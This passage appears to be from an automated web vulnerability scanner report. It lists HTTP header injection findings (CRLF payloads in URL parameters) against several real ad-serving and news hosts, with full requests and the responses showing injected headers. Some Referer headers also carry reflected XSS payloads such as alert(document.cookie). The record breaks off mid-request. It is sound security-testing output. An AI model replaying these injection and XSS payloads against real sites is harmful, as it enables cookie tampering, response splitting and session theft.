User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
DCLK_imp: v7;x;239897814;0-0;1;55848032;24/24;41985765/42003552/1;;~aopt=2/1/22/0;~okv=;secure=false;position=1;ic22=1;ic19=1;ic17=1;ic16=1;ic12=1;ac17=1;ac16=1;ac14=1;ac12=1;ac10=1;pc1=1;pc4=1;ic9=1;ac5=1;ic3=1;ic1=1;ac8=1;ic5=1;AG=1;AK=1;AM=1;AQ=1;ac18=1;ac2=1;ic23=1;pc5=1;ic13=1;pc2=1;ic2=1;sz=24x24;dcmt=text/html;;6e37b
fb30a1b7521=1;~cs=v:
Date: Tue, 10 May 2011 13:13:07 GMT
Content-Length: 1225

DoubleClick.onAdLoaded('MediaAlert', {"impression": "http://ad.doubleclick.net/imp;v7;x;239897814;0-0;1;55848032;24/24;41985765/42003552/1;;~aopt=2/1/22/0;~okv=;secure=false;position=1;ic22=1;ic19=1;i
...[SNIP]...

3.33. http://ad.doubleclick.net/pfadx/philly_cim/ [secure parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/pfadx/philly_cim/

Issue detail

The value of the secure request parameter is copied into the DCLK_imp response header. The payload 2f8b8%0d%0a9f03c22d42c was submitted in the secure parameter. This caused a response containing an injected HTTP header.

Request

GET /pfadx/philly_cim/;secure=2f8b8%0d%0a9f03c22d42c HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: video/x-ms-asf
Content-Length: 237
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 13:12:01 GMT
Expires: Tue, 10 May 2011 13:12:01 GMT
DCLK_imp: v7;x;44306;0-0;0;55848032;0/0;0/0/0;;~aopt=2/1/22/0;~okv=;secure=2f8b8
9f03c22d42c;~cs=s:

<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3b03/0/0/%2a/r;44306;0-0;0;55848032;783-50/50;0/0/0;;~aopt=2/1/22/0;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=0 al
...[SNIP]...

3.34. http://amch.questionmarket.com/adscgen/sta.php [code parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/sta.php

Issue detail

The value of the code request parameter is copied into the Location response header. The payload 50692%0d%0a9754cdb8dea was submitted in the code parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/sta.php?survey_num=887938&site=2378235&code=487810250692%0d%0a9754cdb8dea&ut_sys=eb HTTP/1.1
Host: amch.questionmarket.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 302 Found
Date: Tue, 10 May 2011 14:25:18 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a209.dl
Set-Cookie: CS1=887938-1-1; expires=Sat, 30-Jun-2012 06:25:18 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=887938-L$/(M-0; expires=Sat, 30-Jun-2012 06:25:18 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=eb&survey_num=887938&site=36-2378235-&code=487810250692
9754cdb8dea
Content-Length: 34
Content-Type: text/html

/* /adsc/d887938/36/-1/randm.js */

3.35. http://amch.questionmarket.com/adscgen/sta.php [site parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://amch.questionmarket.com
Path:	/adscgen/sta.php

Issue detail

The value of the site request parameter is copied into the Location response header. The payload eb267%0d%0a23d381da87d was submitted in the site parameter. This caused a response containing an injected HTTP header.

Request

GET /adscgen/sta.php?survey_num=887938&site=eb267%0d%0a23d381da87d&code=4878102&ut_sys=eb HTTP/1.1
Host: amch.questionmarket.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1

Response

HTTP/1.1 302 Found
Date: Tue, 10 May 2011 14:24:29 GMT
Server: Apache-AdvancedExtranetServer/2.0.50
X-Powered-By: PHP/4.3.8
DL_S: a231.dl
Set-Cookie: CS1=887938-1-1; expires=Sat, 30-Jun-2012 06:24:29 GMT; path=/; domain=.questionmarket.com
Set-Cookie: ES=887938-x#/(M-0; expires=Sat, 30-Jun-2012 06:24:29 GMT; path=/; domain=.questionmarket.com;
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
P3P: CP="ALL DSP COR PSAa PSDa OUR IND COM NAV INT LOC OTC", policyref="http://ch.questionmarket.com/w3c/audit2007/p3p_DynamicLogic.xml"
Location: http://a.dlqm.net/adscgen/log_ut_err.php?adserver=eb&survey_num=887938&site=-1-eb267
23d381da87d-&code=4878102
Content-Length: 44
Content-Type: text/html

/* /adsc/d887938/-1/500004878102/randm.js */

3.36. http://bidder.mathtag.com/iframe/notify [exch parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bidder.mathtag.com
Path:	/iframe/notify

Issue detail

The value of the exch request parameter is copied into the x-mm-debug response header. The payload dc7ea%0d%0a298f1c0e803 was submitted in the exch parameter. This caused a response containing an injected HTTP header.

Request

GET /iframe/notify?exch=dc7ea%0d%0a298f1c0e803&id=5aW95q2jLzEvUTBGRlUwVkpOMEYwYjJoYVFVSXhkVlpSUjA5elRsaFZhMlJKL05HUmhZamRrTXpVdFlqRmtNaTA1TVRWaExXUXpZekF0T1dRMU4yWTVZelkyWWpBMy8yNjg3NDIzNDk3MDk2NDAzNjAvMTE1MDAzLzEwMDQ3MC80L1EzQW1fQ25wZlFVZ053MjlWUjRoVHV2N2NlUVNRWmNITnVfclJ1S0tBS28v/vEV5FyPu2ISYlluSJbgs6DJemzY&price=Tck9qAAIETkK7F2h1e88yFrVKAuunn27bfXY2A&dck=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBM6R_qD3JTbmiIKG7sQfI-byvDdzvj_EB5PW9vBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi03NTg3MzE0MjU0MDkyMjQ4oAHg6pnsA7IBFnd3dy5rbm93eW91cm1vYmlsZS5jb226AQk3Mjh4OTBfYXPIAQnaAXNodHRwOi8vd3d3Lmtub3d5b3VybW9iaWxlLmNvbS9mZWF0dXJlc2ViMDFiJTIyLWFsZXJ0KCUyMlhTUyUyMiktJTIyYzFkM2E1OGY5OGEvODgxNzQwL2dvb2dsZV9pb193aGF0X3RvX2V4cGVjdC5odG1smALuCsACBMgC1sGMDqgDAegDrwjoA4YD6ANO6AOvAvUDBgAAxIAGqcqGqrbH1Jtb%26num%3D1%26sig%3DAGiWqtzW5hpUbFxB3gelMXQv-DmJv8ZmTA%26client%3Dca-pub-7587314254092248%26adurl%3D HTTP/1.1
Host: bidder.mathtag.com
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-7587314254092248&output=html&h=90&slotname=9491098414&w=728&lmt=1305052151&flash=10.2.154&url=http%3A%2F%2Fwww.knowyourmobile.com%2Ffeatureseb01b%2522-alert(%2522XSS%2522)-%2522c1d3a58f98a%2F881740%2Fgoogle_io_what_to_expect.html&dt=1305034151054&bpp=3&shv=r20110427&jsv=r20110427&prev_slotnames=6665882529&correlator=1305034136711&frm=0&adk=3935617407&ga_vid=1292799472.1305033311&ga_sid=1305033311&ga_hid=1941275286&ga_fc=1&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=45&biw=1050&bih=951&ref=http%3A%2F%2Fburp%2Fshow%2F12&fu=0&ifi=2&dtd=56&xpc=mB7TCo5i79&p=http%3A//www.knowyourmobile.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; ts=1305033341; mt_mop=10004:1305033341|4:1305033320

Response

HTTP/1.1 404 Not found
Date: Tue, 10 May 2011 14:02:44 GMT
Server: MMBD/3.5.5
Content-Type: text/html; charset=utf-8
Content-Length: 18
x-mm-debug: exchange not found - dc7ea
298f1c0e803
x-mm-host: ewr-bidder-x1
Connection: keep-alive

Request not found

3.37. http://bidder.mathtag.com/notify [exch parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bidder.mathtag.com
Path:	/notify

Issue detail

The value of the exch request parameter is copied into the x-mm-debug response header. The payload 68687%0d%0aa56fdd7572e was submitted in the exch parameter. This caused a response containing an injected HTTP header.

Request

GET /notify?exch=68687%0d%0aa56fdd7572e&id=5aW95q2jLzEvWVdNMVlXWmxPRGt0WkdKbE15MDBZVGs1TFRsak5qQXROVGxtTkdaaU5EazFZMkk1L05HUmhZamRrTXpVdFlqRmtNaTA1TVRWaExXUXpZekF0T1dRMU4yWTVZelkyWWpBMy81NjU3MTY4NzExMDE4MDYzOS8xMTUwMDIvMTAwNDcwLzIvUTNBbV9DbnBmUVVnTncyOVZSNGhUaExDNUJ2ZDlwZFdUeXJ0ZExOblVpYy8/yud4hlXv4H9X9GSrDaYFPckyYXo&price=7.185200 HTTP/1.1
Host: bidder.mathtag.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; mt_mop=4:1304957840; ts=1305033239

Response

HTTP/1.1 404 Not found
Date: Tue, 10 May 2011 13:25:01 GMT
Server: MMBD/3.5.5
Content-Type: text/html; charset=utf-8
Content-Length: 18
x-mm-debug: exchange not found - 68687
a56fdd7572e
x-mm-host: ewr-bidder-x1
Connection: keep-alive

Request not found

3.38. http://bs.serving-sys.com/BurstingPipe/adServer.bs [flv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the flv request parameter is copied into the Set-Cookie response header. The payload e4909%0d%0aa1382fbc11a was submitted in the flv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4878102~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~416~0~01020^ebAboveTheFoldDuration~416~0~01020&OptOut=0&ebRandom=0.4362495185382129&flv=e4909%0d%0aa1382fbc11a&wmpv=0&res=128 HTTP/1.1
Host: bs.serving-sys.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Origin: http://www.philly.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=d14259c0-4e0c-443e-b352-a1e8fb4065ba3I0060; expires=Mon, 08-Aug-2011 10:31:25 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=e4909
a1382fbc11a&RES=128&WMPV=0; expires=Mon, 08-Aug-2011 10: 31:25 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 10 May 2011 14:31:24 GMT
Connection: close
Content-Length: 0

3.39. http://bs.serving-sys.com/BurstingPipe/adServer.bs [res parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the res request parameter is copied into the Set-Cookie response header. The payload 2240b%0d%0ae3c9c429ade was submitted in the res parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4878102~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~416~0~01020^ebAboveTheFoldDuration~416~0~01020&OptOut=0&ebRandom=0.4362495185382129&flv=0&wmpv=0&res=2240b%0d%0ae3c9c429ade HTTP/1.1
Host: bs.serving-sys.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Origin: http://www.philly.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=377eeade-84a3-4f19-a129-ab5e2e6932fa3I0090; expires=Mon, 08-Aug-2011 10:31:26 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=0&RES=2240b
e3c9c429ade&WMPV=0; expires=Mon, 08-Aug-2011 10: 31:26 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 10 May 2011 14:31:26 GMT
Connection: close
Content-Length: 0

3.40. http://bs.serving-sys.com/BurstingPipe/adServer.bs [wmpv parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The value of the wmpv request parameter is copied into the Set-Cookie response header. The payload 2d122%0d%0ad16c5480c76 was submitted in the wmpv parameter. This caused a response containing an injected HTTP header.

Request

GET /BurstingPipe/adServer.bs?cn=int&iv=2&int=4878102~~0~~~^ebAboveTheFold~0~0~01020^ebAdDuration~416~0~01020^ebAboveTheFoldDuration~416~0~01020&OptOut=0&ebRandom=0.4362495185382129&flv=0&wmpv=2d122%0d%0ad16c5480c76&res=128 HTTP/1.1
Host: bs.serving-sys.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Origin: http://www.philly.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store
Pragma: no-cache
Content-Type: text/html
Expires: Sun, 05-Jun-2005 22:00:00 GMT
Vary: Accept-Encoding
Set-Cookie: u2=053133e7-d2a3-4d34-8410-525610354b8f3I0020; expires=Mon, 08-Aug-2011 10:31:25 GMT; domain=.serving-sys.com; path=/
Set-Cookie: eyeblaster=FLV=0&RES=128&WMPV=2d122
d16c5480c76; expires=Mon, 08-Aug-2011 10: 31:25 GMT; domain=bs.serving-sys.com; path=/
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Tue, 10 May 2011 14:31:25 GMT
Connection: close
Content-Length: 0

3.41. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [$ parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the $ request parameter is copied into the Set-Cookie response header. The payload 8afe9%0d%0aaf29ca98fb5 was submitted in the $ parameter. This caused a response containing an injected HTTP header.

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=8afe9%0d%0aaf29ca98fb5&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFpb=305:8afe9
af29ca98fb5;expires=Wed, 11 May 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#940496|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:32 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=391
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:32 GMT
Connection: close
Content-Length: 7326

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat=',8afe9
...[SNIP]...

3.42. http://c7.zedo.com/utils/ecSet.js [v parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/utils/ecSet.js

Issue detail

The value of the v request parameter is copied into the Set-Cookie response header. The payload 3489c%0d%0ac03fe54ce09 was submitted in the v parameter. This caused a response containing an injected HTTP header.

Request

GET /utils/ecSet.js?v=3489c%0d%0ac03fe54ce09&d=.zedo.com HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~042311; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1; FFSkp=305,4479,15,1:; FFcat=305,4479,15; FFad=0; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#945899|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Length: 1
Content-Type: application/x-javascript
Set-Cookie: 3489c
c03fe54ce09;expires=Thu, 09 Jun 2011 05: 00:00 GMT;domain=.zedo.com;path=/;
ETag: "2971d9-1f5-47f29204ac3c0"
Vary: Accept-Encoding
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=3708
Date: Tue, 10 May 2011 13:25:34 GMT
Connection: close

3.43. http://d.xp1.ru4.com/activity [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://d.xp1.ru4.com
Path:	/activity

Issue detail

The value of the redirect request parameter is copied into the Location response header. The payload da244%0d%0a0f6a8658bab was submitted in the redirect parameter. This caused a response containing an injected HTTP header.

Request

GET /activity?_o=62795&_t=cm_admeld&redirect=da244%0d%0a0f6a8658bab&admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: d.xp1.ru4.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: X1ID=AM-00000000030620452; O1807966=16; P1807966=c3N2X2MyfFl8MTMwNDM2MDM2MHxzc3ZfYnxjMnwxMzA0MzYwMzYwfHNzdl8xfDI4NTQ0NTQ3M3wxMzA0MzYwMzYwfA==

Response

HTTP/1.1 302 Moved Temporarily
Server: Sun-Java-System-Web-Server/7.0
Date: Tue, 10 May 2011 13:25:07 GMT
P3p: policyref="/w3c/p3p.xml", CP="NON DSP COR PSAa OUR STP UNI"
Pragma: no-cache
Set-cookie: O62795=0; domain=.ru4.com; path=/; expires=Mon, 01-Jan-1970 12:00:00 GMT
Location: http://da244
0f6a8658bab?admeld_user_id=ac5afe89-dbe3-4a99-9c60-59f4fb495cb9&admeld_adprovider_id=303&admeld_call_type=redirect&admeld_callback=http://tag.admeld.com/match
Content-length: 0
Connection: close

3.44. http://politics.gather.com/js/commenting.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://politics.gather.com
Path:	/js/commenting.js

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 9695a%0d%0a1f4ecfd236 was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /js/9695a%0d%0a1f4ecfd236?18185 HTTP/1.1
Host: politics.gather.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 10 May 2011 13:16:51 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Location: http://www.gather.com/js/9695a
1f4ecfd236
Content-Length: 0
Content-Type: text/html;charset=UTF-8

3.45. http://politics.gather.com/js/siteReport.js.jspf [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://politics.gather.com
Path:	/js/siteReport.js.jspf

Issue detail

The value of REST URL parameter 2 is copied into the Location response header. The payload 68430%0d%0a6eb91d66aab was submitted in the REST URL parameter 2. This caused a response containing an injected HTTP header.

Request

GET /js/68430%0d%0a6eb91d66aab?18185 HTTP/1.1
Host: politics.gather.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=7529E6AE6191662AF7FFA12DC6E30990; vis=IL3kPIJ/j/1xZedPQlMWF0oRm+S8xbqzecbX6qOuxS2uZgZwvNHVrznIDPkUuypt2qw+TToQII1aLPO5TlnGt8iivc5mAOxZDlGv2Bt4jLT4QxKKwJ+ccFL7YaPHe2QR; gathersid=www07

Response

HTTP/1.1 302 Moved Temporarily
Date: Tue, 10 May 2011 13:16:42 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Location: http://www.gather.com/js/68430
6eb91d66aab
Content-Length: 0
Content-Type: text/html;charset=UTF-8

3.46. http://politics.gather.com/viewArticle.action [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://politics.gather.com
Path:	/viewArticle.action

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload d1c40%0d%0ada2b4770962 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /d1c40%0d%0ada2b4770962?articleId=281474979309848 HTTP/1.1
Host: politics.gather.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
